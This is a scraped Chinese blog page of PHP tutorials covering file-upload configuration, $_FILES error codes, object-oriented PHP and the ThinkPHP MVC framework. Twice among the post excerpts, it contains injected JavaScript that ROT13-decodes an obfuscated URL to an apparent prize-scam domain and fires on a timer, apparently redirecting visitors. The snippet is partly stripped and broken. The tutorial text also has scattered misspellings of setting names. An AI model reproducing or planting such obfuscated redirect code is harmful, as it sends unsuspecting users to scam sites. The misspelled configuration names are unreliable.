PHP-基于面向对象&MVC的多文件上传
rx online 多文件上传结构搭建 有两个html文件分别实现不同的功能 index.html <!DOCTYPE html> <html lang=”en”> <head> <meta charset=”UTF-8″> <title>PHP单文件上传</t…
rx online 多文件上传结构搭建 有两个html文件分别实现不同的功能 index.html <!DOCTYPE html> <html lang=”en”> <head> <meta charset=”UTF-8″> <title>PHP单文件上传</t…
rx online 单文件上传 最核心的地方:文件域中的name属性值和$_FILES的数组中键的对应关系 先创建一个基于bootstrap的表单: <!DOCTYPE html> <html lang=”en”> <head> <meta charset=…
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
PHP文件上传配置
php.ini中和文件上传相关的配置
-fiile_uploads:是否允许通过php上传文件,默认为ON
– upload_tmp_dir:上传文件在处理之前必须先上传到服务器上的某个临时目录,此目录由此参数决定,再将上传的文件转移到最终目的地,此目录需要有读写的权限,通常状态下我们不需要更改这个配置,一因为会有一个默认的临时目录。
-max_input_time:对POST/GET/PUT方式接受数据的时间限制,单位是s
-max_execution_time:等待脚本执行完毕的最大时间,单位s,此配置可终止PHP脚本中可能出现死循环,但如需上传大文件的时候,此配置数值不能过小,否则可能导致文件上传为完成而被强制终止。
-upload_max_filesiize:允许上传文件了的最大值,默认为2MB
-post_max_siize:控制采用POOST方式进行表单提交时,PHP允许如接受的最大数据量,单位MB,由于POST数据中出了文件外可能包含其他表单域的数据,所以应该设置一个大于upload_max_filesize的值。
-memory_limit:PHP的内存使用上限,,避免正在运行的脚本过量使用系统资源,由于上传时内存处理的数据中出了POST数据外可能包含其他的数据,所以应该设置一个大于post_max_size的值。
所以综上所述的大小关系:
PHP文件上传的错误处理
文件被PHP上传以后所有的相关信息都存放在$_FILES(是超级全局变量),文件上传的错误也在其中,这些错误的名称都被定义成了常量,这些常量都被设置成了数字。
$_FILES[filesname][error]
-UPLOAD_ERR_OK:上传成功(0)
-UPLOAD_ERR_INII_SIZE:上传文件超出upload_max_fiilesize限制(1)
-UPLOAD_FORM_SIZE:上传文件超出post_max_size限制(2)
-UPLOAD_ERR_PARTIAL:因为网络错误导致文件上传不完整(3)
-UPLOAD_ERR_NO_FILE:表单文件域未选中上传的文件(4)
rx online 命名空间的基本使用 什么是命名空间?从广义上来说,命名空间是一种封装事物的方法,在很多的地方都可以见到这种抽象的概念。 例如,在操作系统中的目录用来将相关的文件分组,对于目录中的文件来…
rx online 知识点: 类型约束 条件约束 自动加载 在面向对象程序设计中,PHP还提供了非常的不错的语法和使用规则。 类型约束:可以使我们的变成更加的严谨 自动加载:当我们的文件过于庞大的时候我们需要将…
rx online 知识点: 多态的定义 抽象类 接口 多态的定义 多态:多种状态,接口的多种不同的实现方式即为多态,即,同一操作作用于不同的对象,可以有不同的解释,产生不同的执行结果。 抽象类 抽象类…
rx online 知识点: extends 继承 重写 final 关键字 继承 继承:子类继承父类所有的公有和受保护的属性和方法 继承关键字extends一个类继承另一个类,不能继承多个 派生类、子类是指继承于基类的类 基类、…
rx online 索引: 访问控制(可见性约束) 构造函数和析构函数 static关键字 常用属性 类与类对象的属性重载 方法重载 什么是封装:隐藏对象的属性和实现细节,仅仅对外提供公共的引用,控制在程序中属性的…
rx online 类与对象代码的实现 类的声明 [修饰符] class 类名 { [属性] [方法] } note: 类名遵循首字母大写的驼峰命名 中括号必须自成一行(如果不按规范也是可以运行成功的) 类的属性和方法必须添…
rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架。
M-model 数据层
V 视图层(展现给用户的)
C 控制层(业务逻辑)
特点:
入手很快
提供核心类库、文件、函数
下载:thinkPHP.cn 使用3.2.3版本完整版
目录结构
ThinkPHP框架目录
Public资源文件目录cs、js放这里
Application 应用目录 后台前台文件放这里
index.php每次执行的时候自动加载从而把框架的内容加载出来
ThinkPHP框架目录:
common 核心公共函数目录 提供了很多可以直接使用的函数 是thinkPHP自带的函数
conf 核心配置目录library 核心语言目录
LICENSE.txt 框架授权协议
index.php会去加载框架里面的thinkPHP.php执行这个文件之后会定位到某个模块某个控制器下面的某个方法,第一次执行的时候在application是没有任何内容的 后来执行会生成home和runtime,这个模块,HOME可以理解成前台网站的模块,每个模块里面都有MVC
COMMON目录可以理解成公共的模块目录,因为admin和home的模块可以能会公用一部分我们就放在这里。